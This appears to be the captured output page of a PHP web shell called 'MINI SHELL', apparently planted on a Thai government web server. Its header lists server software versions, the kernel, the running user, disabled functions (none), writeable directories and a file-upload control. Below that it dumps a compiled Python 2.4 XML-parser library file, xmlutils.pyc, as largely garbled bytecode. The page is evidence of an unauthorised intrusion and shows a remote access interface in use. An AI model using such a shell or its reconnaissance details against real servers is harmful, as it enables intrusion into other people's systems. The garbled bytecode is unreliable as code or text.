MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/xmlutils.pyc
m
-=c@sdZdkZdkZdkZdkZdkZdkZdkZdkZdk	Z	yei
eigZWne
j
oei
gZnXy@dkZdZhZdZdZeZeddZWn4ej
o(dZeZdZeZeZnXd	efd
YZdfdYZd
efdYZdZdZ dZ!dZ"ei#djo
e"Z$ne!Z$eo
ei%Z&ndZ&ddZ'e'dZ(dZ)ei*de&Z+ei*de&Z,ei*dZ-ei*dZ.eo^dk/l0Z0e0i1Z2e0i3Z4e0i5Z6e0i7Z8ei*de0i9dZ:[0nei*de'd e(d!Z2ei*de'd e(d"e'd e(d#Z4ei*de(d$Z6ei*de(d%e(d&Z8ei*d'e'd e(d(Z:ei*d)Z;ei*d*Z<ei*d+Z=ei*d,Z>ei*d-Z?ei*d.Z@ei*d/ZAei*d0ZBei*d1ZCei*d2ZDei*d3ZEei*d4ZFei*d5ZGei*d6ZHei*d7eiIZJei*d8ZKei*d9ZLei*d:ZMei*d;ZNei*d<ZOei*d=ZPei*d>ZQei*d?ZRhe2iSd@<e,iSdA<e-iSdB<e.iSdC<eHiSdD<eGiSdE<e:iSdF<eEiSdG<eFiSdH<e6iSdI<ZThdJdK<dLdM<dNdO<dPdQ<dRdS<ZUeo/x(eUiVD]ZWeeUeWeUeW<q+WneiXdTdUZYeo=hZZx$dTD]Z[e\dVeZe\e[<qsWeZdWZ]neYei^dXZ]eiXdYdYZ_dS(ZsG
Some common declarations for the xmlproc system gathered in one file.
NcCs||jodSny^|}ti|d}|djo|dSn|}ti|d}||dSWn*tj
o|i
d|dSnXdS(NcCs|S(N(ts(R((tE/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/xmlutils.pyt<lambda>sicCs||dS(Ni(tdtc(RR((RRsicCs|||ddS(Ni(teRR(RRR((RR sicCs|S(N(R(R((RR#s(tsrctdesttenctcodecstlookuptdecodertNonetencodertLookupErrortparsertreport_error(RRRRR
R((Rtmkconverters

cCs4t|tijot|Snti||S(N(ttypetxttypest
StringTypetinternt	_internedt
setdefault(R((Rt
string_intern%siss	utf-16-becCs_|djo
d}ntii||otii||Sn|id|dSdS(Nsutf-8icCs|S(N(R(R((RR4s(	RRtcharconvtconvdbtcan_convertRt
get_converterRR(RRR((RR-s

itOutOfDataExceptioncBstZdZRS(sdAn exception that signals that more data is expected, but the current
    buffer has been exhausted.(t__name__t
__module__t__doc__(((RR=stEntityParsercBstZdZdZdZdZdZdZdZdZ	dd	Z
eed
ZddZ
dd
ZdZddZdZdZdZddZdZdZdZdZdZdZdZdZddZdZd Zd!Z d"Z!dd#Z"d$Z#d%Z$d&Z%d'Z&ed(Z'd)Z(d*Z)d+Z*d,Z+d-Z,d.Z-d/Z.dd0Z/d1Z0RS(2sXA generalized parser for XML entities, whether DTD, documents or even
    catalog files.cCsti||_ti|i|_ti|_ti|_	d|_d|_d|_
d|_ti|i|_|idS(Nten(txmlapptErrorHandlertselfterrt
EntityHandlertenttInputSourceFactorytisft
PubIdResolvertpubresRtdata_charsettinput_encodingtcharset_converterterr_langterrorstget_error_listtreset(R&((Rt__init__Js				cCs1titi||_ti||_dS(s}Sets the language in which errors are reported. (ISO 3166 codes.)
        Throws a KeyError if the language is not supported.N(R2R3tstringtlowertlanguageR&R1(R&R8((Rtset_error_languageYscCs
||_dS(s(Sets the object to send error events to.N(R'R&(R&R'((Rtset_error_handler_scCs
||_dS(N(R-R&(R&R-((Rtset_pubid_resolvercscCs
||_dS(s0Sets the object that resolves entity references.N(R)R&(R&R)((Rtset_entity_handlerfscCs
||_dS(sASets the object factory used to create input sources from sysids.N(R+R&(R&R+((Rtset_inputsource_factoryjscCs
||_dS(sTells the parser which character encoding to use when reporting data
        to applications. The default is None, which means to return Unicode
        string if supported and UTF-8 otherwise.N(tcharsetR&R.(R&R>((Rtset_data_charsetnsi@cCsw||_y|ii|}Wn-ttfj
o|id|dSnX|i	|||i|idS(sBegin parsing an XML entity with the specified system
        identifier.  Only used for the document entity, not to handle
        subentities, which open_entity takes care of.iN(tsysIDR&t
current_sysIDR+tcreate_input_sourcetinfiletIOErrortOSErrorRt	read_fromtbufsizetclose(R&R@RGRC((Rtparse_resourcets		
cCs/|o
||_n|i||idS(s*Parse an XML document from the doc string.N(tsysidR&RAtfeedtdocRH(R&RLRJtpubid((Rtparse_strings


RcCsy|ii|}Wn-ttfj
o|id|dSnX|i|||_
d|_d|_d|_
d|_d|_d|_d|_|i}d|_|i|d||_|i|idS(sStarts parsing a new entity, pushing the old onto the stack. This
        method must not be used to start parsing, use parse_resource for
        that. Note that sys_id must be absolute.iNiiti(R&R+RBtsys_idtinfRDRERt_push_ent_stacktnameRAtpostlinet
last_breaktdatatencoded_dataRR/R0tseen_xmldeclttmpRFtflusht
pop_entity(R&RPRSRZRQ((Rtopen_entitys*	
											
cCsh|i|||_d|_||_d|_d|_	d|_
t||_d|_
d|_dS(spParse some text and consider it a new entity, making it possible
        to return to the original entity later.ROiiN(R&RRRStcontentsRWRXR@RARTRURVtlentdatasizetlast_upd_postfinal(R&R@R^RS((Rtpush_entitys
							cCs/|igjo|idn|idS(s=Skips out of the current entity and back to the previous one.iN(R&t	ent_stackRt_pop_ent_stack(R&((RR\scCsUxN|i|}|djoPny|i|Wqtj
oPqXqWdS(sReads data from a file-like object until EOF. Does not close it.
        **WARNING**: This method does not call the parseStart/parseEnd methods,
        since it does not know if it may be called several times. Use
        parse_resource if you just want to read a file.iRON(tfileobjtreadRGtbufR&RKR(R&RfRGRh((RRFs
cCsg|_g|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_dS(s/Resets the parser, losing all unprocessed data.tUnknowniROiiN(R&Rdt	open_entsRAt
first_feedRWRXRbR`tstart_pointRURVtblock_offsetRTRa(R&((RR4s													cCs*t|djo
d}n|d djo
d}n|d djo
d}n|d djo
d	}n|d
 djo
d}n}|d
 d
jo
d}nb|d djo
d}nG|d djo
d}n,|d djod|_dSnd}||_t|||i|_dS(Nisutf-8isit<sucs-4-bes<sucs-4-leiss	utf-16-bess	utf-16-let<?t?<s<?xmlcCs|S(N(R(R((RRs(R_tnew_dataRR&R0R/RR.(R&RqR((Rtautodetect_encodings,







	cCst|ddgjoZxw|d|i|_|d }y|i|}Wntj
o
qnX|SqWn!|id|d|_dSdS(	sIf there was an error decoding input data, there could be
        two reasons: the data could be genuinely incorrect, or the
        decoder could have run out of data. The latter case is very
        hard to determine in Python 2.0s,UTF-8 decoding error: unexpected end of datas%UTF-16 decoding error: truncated dataiiicCsdS(NRO((R((RRsRON(tstrtexcRqR&RXR0tUnicodeErrorR(R&RqRt((Rt_handle_decoding_errors

icCs|o'to t|tijo
d}nd}|iod|_d}|in||i	}d|_	|o|i
o|i|n|i|pgy9|i
|}|o|dt
jo|d}nWqtj
o}|i||}qXn|idjoO|i|i|_|i|i|_|i|i|_d|_d|_nti|i|dd|_t|i|_|idS(s!Accepts more data from the data source. This method must
        set self.datasize and correctly update self.pos and self.data.
        It also does character encoding translation. If decoded is true,
        the data are assumed to have been decoded into the data_charset
        already.iiROis
s
N(tdecodedt
using_unicodeRRqRtUnicodeTypeRkR&t
parseStartRXR0Rrt
update_postBOMRuRRvRlRmR`RWRTRVRaR6treplaceR_tdo_parse(R&RqRwRRk((RRKs<%

	
	
	
cCs|i|idS(sACloses the parser, processing all remaining data. Calls parseEnd.N(R&R[tparseEnd(R&((RRHNs
cCsdS(s4Called before the parse starts to notify subclasses.N((R&((RRzSscCsdS(s8Called when there are no more data to notify subclasses.N((R&((RRWscCs|iomy8|i|i}|i||_t|i|_Wn%tj
o}|i	d|nXd|_n|i
d|ijp[d|_|i
}y|iWqt
j
o(||i
jo|i	dqqXndS(s.Parses any remnants of data in the last block.iROiiN(R&RXR0RqRWR_R`RuRRRTRbR~R(R&RqRRT((RR[[s"

		cCs|i|_dS(sStores the current position and tells the parser not to forget any
        of the data beyond this point until get_region is called.N(R&RTRl(R&((Rtset_start_pointrscCs)|i|i|i|if|_dS(s_Makes the parser remember where we are now, so we can go back
        later with restore_state.N(R&RRaRURVt	old_state(R&((Rtstore_statews
cCs4|i|_d|_|i\|_|_|_dS(s<Goes back to a state previously remembered with store_state.iN(R&RlRTRRaRURV(R&((Rt
restore_state}s	cCs#|i|i|i!}d|_|S(sUReturns the area from start_point to current position and remove
        start_point.iN(R&RWRlRT(R&RW((Rt
get_regions	icCs|i}|i|i|i}|djo@|io)|o!t
|i|_|i|Sntn|id|_|i||i!S(sMoves self.pos to the first character that matches the regexp and
        returns everything from pos and up to (but not including) that
        character.iN(
R&RTtoldpostregexptsearchRWtmoRRbtrequiredR_Rtstart(R&RRRR((Rtfind_regs	

cCs_ti|i||i}|djo
tn|i|i|!}|t	||_|S(s9Moves self.pos to beyond target and returns skipped text.iN(
R6tfindR&RWttargetRTtnew_posRtresR_(R&RRR((Rtscan_tos

cCs9ti|i||i}|djo
tn|S(s6Finds the position where target starts and returns it.iN(R6RR&RWRRTRR(R&RR((Rt	get_indexs


cCsY|i|it|jo|io
tn|i|i|it|!|jS(sASee if text at current position matches test_str, without moving.N(R&R`RTR_ttest_strRbRRW(R&R((RRs(
cCs|i}|i|t|jo|io
tn|i||t|!|jo|it||_dSndSdS(s=Checks if we are at this string now, and if so skips over it.iiN(R&RTR`R_RRbRRW(R&RRT((Rtnow_ats	%
!cCsuti|i|i}|p |o|idndSn|i|ijo
t	n|i|_dS(s(Skips over any whitespace at this point.iN(
treg_wstmatchR&RWRTt	necessaryRtendR`R(R&RR((Rtskip_wss
cCsK|i|idjo|io
tn|i|i|idjS(sChecks if we match the regexp.iN(	R&RTR`RbRRRRWR(R&R((Rttest_regs"
cCs|i|idjo|io
tn|i|i|i}|djo|i
t|idSn|i
d}||ijo
tn||_|idS(s@Returns the result of matching the regexp and advances self.pos.iROiN(R&RTR`RbRRRRWR)RRtreg2codetpatternRtgroup(R&RRR)((Rt	get_matchs"


	cCssti|id|i|i}|i|_|djo5|i||_ti|idd|i|_	ndS(s4Updates (line,col)-pos by checking processed blocks.s
iN(
R6tcountR&RWRaRTtbreaksRUtrfindRV(R&R((RR{s!
cCsd}xE|D]=\}}|i|o!d}|it||_Pq
q
W|pWd}x(|d D]\}}d||f}qfW|i	d|d |ddfn|i
|}|i|p|i	d|n|S(
s<Returns a contained match. Useful for regexps inside quotes.iiROis%s'%s', iiiN(
tfoundtwrapstwrapRR&RRTR_tmsgRRRWR(R&RRRRRRW((Rtget_wrapped_matchs$	&cCsy,|i|}|djo||}nWn$tj
o|id|}nX|djo|ii|n2|djo|ii	|n|ii
|dS(Niii(R&R2tnumberRtargsRtKeyErrorR'twarningterrortfatal(R&RRR((RRs



cCs|iS(s1Returns the sysid of the file we are reading now.N(R&RA(R&((Rtget_current_sysidscCs
||_dS(s?Sets the current system identifier. Does not store the old one.N(R@R&RA(R&R@((Rt	set_sysidscCs|i|iS(s8Returns the current offset from the start of the stream.N(R&RmRT(R&((Rt
get_offsetscCs|i|iS(s Returns the current line number.N(R&R{RU(R&((Rtget_lines
cCs|i|i|iS(s$Returns the current column position.N(R&R{RTRV(R&((Rt
get_column!s
cCs
|igjS(s6Returns true if the current entity is the root entity.N(R&Rd(R&((Rtis_root_entity&scCs+|igjo|idd|ijS(s{Returns true if the current entity is an external entity. The root
        (or document) entity is not considered external.iN(R&RdR(R&((Rtis_external*sc
Cs\|ii|i|i|i|i|i|i|i	|i
|i|i|i
|fdS(N(R&RdtappendRRWRTRURVR`RaRmRbR/R0RS(R&RS((RRR2sc
Cs`|id\|_|_|_|_|_|_|_|_	|_
|_|_}|id=dS(Ni(R&RdRARWRTRURVR`RaRmRbR/R0tdummy(R&R((RRe9sR(1RR R!R5R9R:R;R<R=R?RIRRNR]RcR\RFR4RrRvRKRHRzRR[RRRRRRRRRRRRR{RRRRRRRRRRRRe(((RR"Fs\							
			!	3																									tXMLCommonParsercBsStZdddZdZddZddZdZdZd	Z	RS(
NiicCsd}d}|ido2|id|idtfdtfg}n,|ido|id|idt	fdt
fg}titi
|}|o2|id|idtfdtfg}qy|idp|ido|idn|i|idp|ido%|idtfdtfg}qyn|o|idn||fS(	sParses an external ID declaration and returns a tuple consisting
        of (pubid,sysid). If the required attribute is false neither SYSTEM
        nor PUBLIC identifiers are required. If sysidreq is false a SYSTEM
        identifier is not required after a PUBLIC one.tSYSTEMis"t'tPUBLICiiN(Rtpub_idRPR&RRRtreg_sysid_quotet
reg_sysid_apotreg_pubid_quotet
reg_pubid_apoR6tjointsplittsysidreqRRR(R&RRRRP((Rtparse_external_idFs*
%
!
% 
 )cCsy|i|i}Wntj
otnX|idp
|idp%|idd|iddSn|i|S(	s<Returns the contents of a quoted string at current position.t"Ris'"'t>RON(s'"'R(	R&RWRTtquot
IndexErrorRRRR(R&R((Rt__get_quoted_stringis 
c	Cs|i}|i|idjp+|idjp|igjo1|o)|o|idq}|idn|io)|o|idq|idnd}d}d}|i
|ido|i
|idp|id	dn|i
|i}ti|}|djp|it|jo|id
|n|djo|idn|id
p|ido|idn|i
n|p|idn|id
o|i
|idp|id	dn|i
|i}ti|djo|idnti|}|io$|i|jo|id|n|i
n|ido|o|idd}qZ|i
|idp|id	dn|i
|i}ti|djo|idn|dj|_|i
n|i
|ip|}|p
d}nt|||i|_y|i|i |_ Wn(t!j
o}|i#|i |nX||_n|djo|i%|||ndS(sBParses the contents of the XML declaration from after the '<?xml'.iiiiiitversiont=ii=s1.0itencodingt
standaloneiii>iityesiGsutf-8N(&R&RttextdeclR{RRRdRRYRRtsddecltverRRt#_XMLCommonParser__get_quoted_stringtreg_verRtmRR_Rtreg_enc_nameR6R7R/t
reg_std_aloneRtenc1RR.R0RWRuRRvthandlertset_entity_info(	R&RRRRRRRR((Rtparse_xml_declws
>



&
 










cCs|i}|djoS|o|i|n|i|idp|iddnd|_n|ido
d}n|i
d|id}ti
|d
jo@|djo|idq|djo|id	qn|i||d
S(sOParses a processing instruction from after the '<?' to beyond
        the '?>'.txmls?>iiROs
xml:namespaceisxml-stylesheetiN(R&t	_get_namettrgttreport_xml_declRRRRRYtremRRt
reg_res_piRRt	handle_pi(R&RRRR((Rtparse_pis&






cCsZ|id}|i|i|i|!||_|idp|iddndS(s5Parses the comment from after '<!--' to beyond '-->'.s--s-->iN(	R&RRRthandle_commentRWRTRR(R&RR((Rt
parse_comments	cCs|idot|it}nt|it}|djp1|djp$|djp|djo
|djpm|djoHto-|djo |i	i
t|dd	q|id
|n|id|dSnt|Sd
S(s7Parses a character reference and returns the character.Ri	i
i
i iiiiiiRON(
R&RtunhexRtreg_hex_digitstdigstintt
reg_digitsRxtappthandle_datatxml_chrR(R&R((Rt_read_char_refsA
 cCs|i|idjo|io
tnti|i|i}|oQ|i|_|i|ijo|io
tnt	|i
Sn|iddSdS(skParses the name at the current position and returns it. An error
        is reported if no name is present.ii<RON(R&RTR`RbRtreg_nameRRWRRRR(R&R((RRs"
!

(
RR RRRRRRRR(((RRDs#	c		cCsd}x|D]}|d}t|}|djo|djo||d}q
|djo|djo||d}q
|djo|d	jo||d
}q
q
W|S(s*Converts a string hex-value to an integer.iii:i0iaifiWiAiFi7N(tsumt	hex_valuetchartord(RRR((RR(s
cCs;|i|}|djot|idt|jS(Ni(RRRsRRR_R(RRsR((Rtmatches:scCsti|ddjo|Sntti|ddjoIti|ddjo'tiitii|d|Sq|Snti||SdS(s<Resolves a URL relative to a base URL. The base can be None.iRON(turlparseturltbasetostpathRRturljoin(RR((Rtjoin_sysids_general>s'cCsti|ddjo|Sntti|ddjoOtti|ddjo'tiitii|d|Sq|Snti||SdS(s<Resolves a URL relative to a base URL. The base can be None.iROiN(	RRR_RRRRRR(RR((Rtjoin_sysids_win32Js  'twin32s6ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_:s>s
0123456789.-s
	 
s[
	 
]+s[-a-zA-Z0-9_.:]+s[A-Za-z][-A-Za-z0-9._]*syes|no(s
characterst%t;t[s][s]*s]*([
	 
]+[s]*)*s]+s]+([
	 
]+[s]+)*s%[s]*;s[^"]*s[^']*s#[- 
	
a-zA-Z0-9'()+,./:=?;!*#@$_%]*s"[- 
	
a-zA-Z0-9()+,./:=?;!*#@$_%]*s<[A-Za-z_:]s[^<"]*s[^<']*s[<&]s[^"]+s[^']+s6CDATA|IDREFS|IDREF|ID|ENTITY|ENTITIES|NMTOKENS|NMTOKENs#REQUIRED|#IMPLIEDs[0-9]+s[0-9a-fA-F]+Rs"|'|<\?|<!--|\]|<!\[s<|&|"s<|&|'s
<(![^-\[]|\?)s>|%s
<!\[|\]\]>s%|&#s1([a-zA-Z][a-zA-Z]|[iIxX]-([a-zA-Z])+)(-[a-zA-Z])*i<i=i>i?iAiBiCiDiEiFtlts&#60;tgts&#62;tamps&#38;taposs&#39;tquots&#34;s
	
s   t cCs4t|tijo|itSn|i|S(N(RRWRRt	translatet	_ws_transt_ws_dict(RWR((Rtws_transscCs
|||S(N(RRWR(RWRR((RRsRO(`R!R6treRRtsysRR$RR2RRytStringTypestAttributeErrorR	RRRRxtunichrRtunicodeR|tImportErrorRtchrRt	ExceptionRR"RRRRRtplatformtjoin_sysidstUNICODEt	_re_flagst	namestartt	namecharst
whitespacetcompileRRRRt	xml.utilst
characterstre_NameRtre_Namest	reg_namest
re_Nmtokentreg_nmtokentre_Nmtokenstreg_nmtokenstNamet
reg_pe_refRRRRt
reg_start_tagtreg_quoted_attrtreg_apo_attrt
reg_c_datatreg_ent_val_quotetreg_ent_val_apot
reg_attr_typetreg_attr_defRRtIRtreg_int_dtdtreg_attval_stop_quotetreg_attval_stop_singtreg_decl_with_petreg_subst_pe_searcht
reg_cond_secttreg_litval_stopt
reg_lang_codeRRtpredef_entstkeystkt	maketransRRRRRRtid_trans(FRRRR(RR-RR,RRR$RRR|R#RRR&RR2RRR.R'RRRRRRR0R1R	R3RRRR"R%R6R$RRRR"RRRR	R*R4R RRR8RxR)RRRR6R2RRRRRRR/R((Rt?s6									




/~
3


Anon7 - 2021